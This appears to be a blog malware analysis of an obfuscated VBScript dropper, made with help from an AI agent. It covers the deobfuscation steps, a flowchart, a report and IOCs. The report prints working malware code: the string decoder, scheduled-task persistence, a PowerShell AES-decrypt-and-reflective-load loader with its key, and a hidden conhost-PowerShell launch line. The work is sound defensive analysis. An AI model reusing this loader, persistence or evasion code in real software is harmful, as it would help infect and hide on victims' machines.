Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript.

uncannily = (uncannily) & thyreopalatinusotio(thyreopalatinusotio("GVAZ","ᭇ⌲ᩗᩎỰᬿ📄ᡨصỢᙑᚱᓹ✋ڣ",""),"GVAZ","ᭇ⌲ᩗᩎỰᬿ📄ᡨصỢᙑᚱᓹ✋ڣ")
uncannily = (uncannily) & thyreopalatinusotio(thyreopalatinusotio("GVAZ","ᭇ⌲ᩗᩎỰᬿ📄ᡨصỢᙑᚱᓹ✋ڣ",""),"GVAZ","ᭇ⌲ᩗᩎỰᬿ📄ᡨصỢᙑᚱᓹ✋ڣ")
...
Sub f(je,tv)
Dim r,h,jq,cs,dd
jq = &H700 - 32
r = ""
For h = 1 To Len(je)
cs = Mid(je,h,1)
dd = AscW(cs) - jq
r = r & ChrW(dd)
Next
tv = r
End Sub

f "ܷܳ݃ݒ݉ݐݔ܎݈ܳ݅݌݌",v5865
...
v7773 = ""
v7773 = v7773 & "..."
v7773 = v7773 & "..."

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc.vbs --output C:\Users\Ashura\Desktop\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc_pass1.vbs --aggressive
{"changed":13867,"input_bytes":4018258,"output_bytes":1522282,"output_path":"C:\\Users\\Ashura\\Desktop\\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc_pass1.vbs"}

> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc_pass1.vbs --output C:\Users\Ashura\Desktop\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc_pass2.vbs
{"changed":8,"substituted_reads":8,"input_bytes":1522282,"output_bytes":1485022,"output_path":"C:\\Users\\Ashura\\Desktop\\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc_pass2.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\9a5b97c3839722f52530a7e53d8e1059fc3fdf03daa032ada16d01708a39e4cc_pass1.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @C:\Users\Ashura\Desktop\report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    Start([VBS script runs])
    Decode[Decode all obfuscated text<br/>using a custom Unicode-shift cipher]
    Helpers[Set up helpers for running commands,<br/>file access, and writing data to disk]

    Start --> Decode --> Helpers

    subgraph Persistence["Persistence"]
        Copy["Copy itself to<br/>%LOCALAPPDATA%\Microsoft\PhotoEngine\PhotoStudio.vbs<br/>(disguised as photo-editing software)"]
        Task["Register a hidden Scheduled Task,<br/>'MicrosoftEdgeUpdateTaskCore'<br/>(disguised as a Microsoft Edge update),<br/>set to run the copied script at every logon"]
        Copy --> Task
    end

    Helpers --> Copy

    subgraph Stage2["Stage-2 Delivery & Hidden Execution"]
        BlobDecode["Decode a large embedded blob into<br/>a PowerShell loader script plus<br/>two supporting data chunks"]
        Drop["Write the loader script and both<br/>data chunks to a randomly-named<br/>folder under %TEMP%"]
        Launch["Launch the loader hidden (no window),<br/>using conhost.exe as an unusual parent<br/>process to disguise the PowerShell launch"]
        BlobDecode --> Drop --> Launch
    end

    Helpers --> BlobDecode

    subgraph InMemory["In-Memory Second Stage"]
        Reassemble["Loader reassembles the two data chunks,<br/>decodes them, decrypts with AES,<br/>and decompresses with GZip"]
        Reflective["Resulting .NET program is loaded<br/>directly into memory and run —<br/>never saved to disk as a complete file"]
        Cleanup["Loader deletes the dropped data chunks<br/>and its own script file<br/>(anti-forensic cleanup)"]
        Reassemble --> Reflective --> Cleanup
    end

    Launch --> Reassemble

    Stage2Payload["Second-stage program is itself another<br/>loader stub (RunPE-style in-memory injector),<br/>carrying one large still-packed data block —<br/>likely the real final payload, not unpacked"]
    Reflective --> Stage2Payload

    C2["Candidate command-and-control contact<br/>(unconfirmed, moderate confidence):<br/>dns://physical.ai and ws://grouping.software"]
    Stage2Payload -.-> C2

Report

Executive Summary

This file is a multi-stage malware dropper and loader. On execution it silently:

  1. Copies itself into a hidden application-data folder disguised as photo-editing software, so it survives even if the original file is deleted.
  2. Creates a Windows Scheduled Task disguised as a Microsoft Edge update job, so the copy re-runs every time the user logs on (persistence).
  3. Decodes a large embedded blob into a PowerShell script and a pair of supporting data files, drops them into a random folder under %TEMP%, and launches the script hidden (no visible window), using an unusual parent-process trick (conhost.exe --headless) to make the PowerShell launch less conspicuous.
  4. That PowerShell script decrypts (AES) and decompresses (GZip) the two data files back into a second-stage .NET executable, and loads/runs it entirely in memory — it is never written to disk as a complete file. The script then deletes its own on-disk artifacts to reduce forensic traces.
  5. The second-stage .NET program is itself another obfuscated loader/stub — its code contains the hallmarks of an in-memory “RunPE”-style injector (helpers for reading raw bytes and marshaling them into process memory), and it carries one very large (~1.7 MB) embedded, still-packed data block that is almost certainly the real final payload. That inner block was not unpacked as part of this analysis (out of scope — see note below); no code from any stage was executed to reach these conclusions, only static decoding/decryption.

Details

Obfuscation / decoding routine

The entire file relies on one custom decoding routine, defined at the very top:

Sub f(je,tv)
Dim r,h,jq,cs,dd
jq = &H700 - 32
r = ""
For h = 1 To Len(je)
cs = Mid(je,h,1)
dd = AscW(cs) - jq
r = r & ChrW(dd)
Next
tv = r
End Sub

Functionality: For every character of an obfuscated input string, it takes the character’s Unicode code point (AscW), subtracts &H700 - 32 = 1792 - 32 = 1760, and converts the result back into a character (ChrW). This shifts printable ASCII text up into the Syriac/Arabic-Supplement Unicode block (e.g. ܷ, ݒ, ܳ) on encoding, and this routine reverses it. Every string literal in the script, and one very large embedded blob, are obfuscated this way and decoded on the fly with calls like f "<obfuscated>", outputVariable. This is functionally equivalent to a fixed-key Caesar cipher over Unicode code points — trivial to reverse once the offset is known.

COM object setup
f "ܷܳ݃ݒ݉ݐݔ܎݈ܳ݅݌݌",v5865
f "ܳ݃ݒ݉ݐݔ݉ݎ݇܎ܦ݉݌݅ܳݙݓݔ݅ݍܯ݂݊݅݃ݔ",v3403
f "ܡܤܯܤܢ܎ܳݔݒ݅݁ݍ",v8290
Set v9745 = CreateObject(v5865)
Set v5406 = CreateObject(v3403)
Set v8903 = CreateObject(v8290)

Functionality: Decodes to WScript.Shell, Scripting.FileSystemObject, and ADODB.Stream respectively. These three COM objects are used throughout the rest of the script for: running commands and expanding environment variables (WScript.Shell), file/folder operations (FileSystemObject), and writing binary/text data to disk (ADODB.Stream).

Self-copy and scheduled-task persistence
v5999 = v9745.ExpandEnvironmentStrings(v1334)
v3369 = v5999 & v9678 & v3961 & v3397
v9735 = v3369 & v9678 & v1586
If Not v5406.FolderExists(v3369) Then v5406.CreateFolder v3369
v5406.CopyFile WScript.ScriptFullName, v9735, True
Set v79 = GetObject(v22 & v8545)
v2272 = v79.UserDomain & v9678 & v79.UserName
v8456 = v5629 & v2272 & v7483 & v9735 & v5487
Set v1221 = GetObject(v22 & v8395)
v1221.Connect
Set v7883 = v1221.GetFolder(v9060)
v7883.RegisterTask v9678 & v2979, v8456, 6, Null, Null, 3

Functionality:

Second-stage payload extraction and drop

Line 52 of the file is a single large obfuscated string, decoded in place at the very start of this stage:

f v7773,v7773

Decoding it reveals a PowerShell script (~740KB as text) containing two embedded parseConfig '<base64 blob>' markers, each holding a ~369KB base64 chunk. The VBS then extracts these two chunks:

v6508 = InStr(1, v7773, v2631)
...
v8903.Type = 2
v8903.Charset = v2106
v8903.Open
v8903.WriteText v4169
v8903.Position = 0
v8903.SaveToFile v2197, 2
v8903.Close
...
v7773 = Left(v7773, v279 - 1) & v4214 & v9645 & v5226 & Mid(v7773, v6630 + 1)
v7773 = Left(v7773, v6508 - 1) & v4214 & v2197 & v5226 & Mid(v7773, v8665 + 1)

Functionality: Each ~369KB chunk is written out via ADODB.Stream (ascii charset) to two separate files in a freshly-created, randomly-named subfolder of %TEMP% (folder and filenames built from Timer/Rnd-derived hex values, e.g. %TEMP%\<8-hex>\<8-hex>a and ...b). The corresponding parseConfig '...' text inside the PowerShell script is then rewritten in place to ([IO.File]::ReadAllText('<dropped file path>')) — i.e. instead of carrying the two giant base64 blobs inline, the final script on disk reads them back from the two dropped files at runtime.

v7773 = v7773 & vbCrLf & v1195 & v2197 & v5504 & v9645 & v5504 & v3799 & v2353
...
v8903.SaveToFile v3799, 2

Functionality: A cleanup line is appended to the script (v1195 decodes to Remove-Item ', v2353 to ' -Force -EA 0) that deletes both dropped chunk files and the script itself once it has run — anti-forensic self-deletion. The final, modified script text is then saved as %TEMP%\<8-hex>\<8-hex>.ps1.

Hidden launch
v5136 = v6885 & " " & v4013 & """" & v7071 & """" & " " & v7118 & """" & v3799 & """"
v9745.Run v5136, 0, False

Functionality: v6885/v4013 decode to C:\Windows\System32\conhost.exe / --headless; v7071 decodes to C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe; v7118 decodes to -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File. The resulting command line is:

C:\Windows\System32\conhost.exe --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File "<the .ps1 path>"

launched via WScript.Shell.Run(cmd, 0, False) — window style 0 (hidden) and False (don’t wait for the process to exit). Spawning powershell.exe as a child of conhost.exe --headless rather than directly is an unusual parent-process choice used to make the PowerShell launch blend in with/hide behind console-host activity in process trees.

Reassembled PowerShell loader (in-memory second stage)

Reassembling the two dropped chunks and reading the surrounding script logic (with the two blobs elided for size) gives the following loader, in full:

$icYTGm=(<BLOB_A>+<BLOB_B>);$lbzCMr=[Convert]::FromBase64String($icYTGm);$zqTKRA='System.Security.Cryptography.'+'AesManag'+'ed';$FNDeFK=[type]('Ac'+'tivator');$FNDeFK=$FNDeFK::('CreateInstan'+'ce')([type]$zqTKRA);$FNDeFK.Mode=1;$FNDeFK.Padding=2;$FNDeFK.Key=[byte[]]@(0x28,0xF8,0x9C,0x29,0x03,0x74,0x13,0xAB,0xAD,0xC3,0x9A,0xCE,0xEE,0x80,0x1A,0x6F);$FNDeFK.IV=[byte[]]@(0x2D,0x3D,0xB6,0xC5,0xD1,0x93,0xC1,0x0B,0xB6,0xEC,0xDC,0x0F,0xE9,0x73,0x86,0xD3);$aXVAfo=$FNDeFK.('Cr'+'eateDecryp'+'tor')();$xozRin=$aXVAfo.('Transf'+'ormFinalBlock')($lbzCMr,0,$lbzCMr.Length);$bgonNr=New-Object System.IO.MemoryStream(,$xozRin);$ZZYdwK=New-Object System.IO.MemoryStream;$yMHjkQ=New-Object System.IO.Compression.GZipStream($bgonNr,[System.IO.Compression.CompressionMode]::Decompress);
# ... reads all decompressed bytes into $ZZYdwK ...
$xozRin=$ZZYdwK.ToArray();$tCqTFT=[System.Reflection.Assembly]::Load($xozRin);$FdkWEf=$tCqTFT.EntryPoint;$FdkWEf.Invoke($null,(,[string[]]@()))

Functionality: The two chunks read from disk are concatenated back into one base64 string, decoded to bytes, and decrypted with AES-128 in CBC mode using a hardcoded key and IV embedded in the script. The decrypted bytes are then GZip-decompressed, and the result is loaded directly into memory as a .NET assembly ([System.Reflection.Assembly]::Load) and executed by invoking its EntryPoint — the final payload never touches disk as a complete file. Static decryption of this same data (using the recovered key/IV, no code execution) confirms the decrypted result is a valid Windows PE file — see 2.7.

Second-stage payload (statically decrypted, not executed)

Using the AES key/IV recovered from the loader above, the two base64 chunks were decrypted and GZip-decompressed offline (pure static cryptography — no code from the sample was run). This produced a 1.75MB file beginning with the standard MZ/PE header, identified as a .NET Framework 4.8 assembly (BSJB metadata stream present).


IOCs

Type Value Notes
Dropped file (persistence copy) %LOCALAPPDATA%\Microsoft\PhotoEngine\PhotoStudio.vbs Self-copy of the original script; launched by the scheduled task at every logon
Scheduled Task name MicrosoftEdgeUpdateTaskCore Registered in the root Task Scheduler folder (\); LogonTrigger, Hidden=true, LeastPrivilege; masquerades as a legitimate Edge update task
Scheduled Task action wscript.exe //B //Nologo "%LOCALAPPDATA%\Microsoft\PhotoEngine\PhotoStudio.vbs" Command run by the scheduled task
Dropped folder (transient) %TEMP%\<8-hex-chars>\ Random per-run folder name (Timer/Rnd derived); deleted by the script’s own cleanup routine after use
Dropped files (transient) %TEMP%\<8-hex>\<8-hex>a, %TEMP%\<8-hex>\<8-hex>b, %TEMP%\<8-hex>\<8-hex>.ps1 Base64 payload chunks + assembled loader script; all self-deleted after execution
Launch command line conhost.exe --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File "%TEMP%\<8-hex>\<8-hex>.ps1" Hidden PowerShell execution disguised behind conhost.exe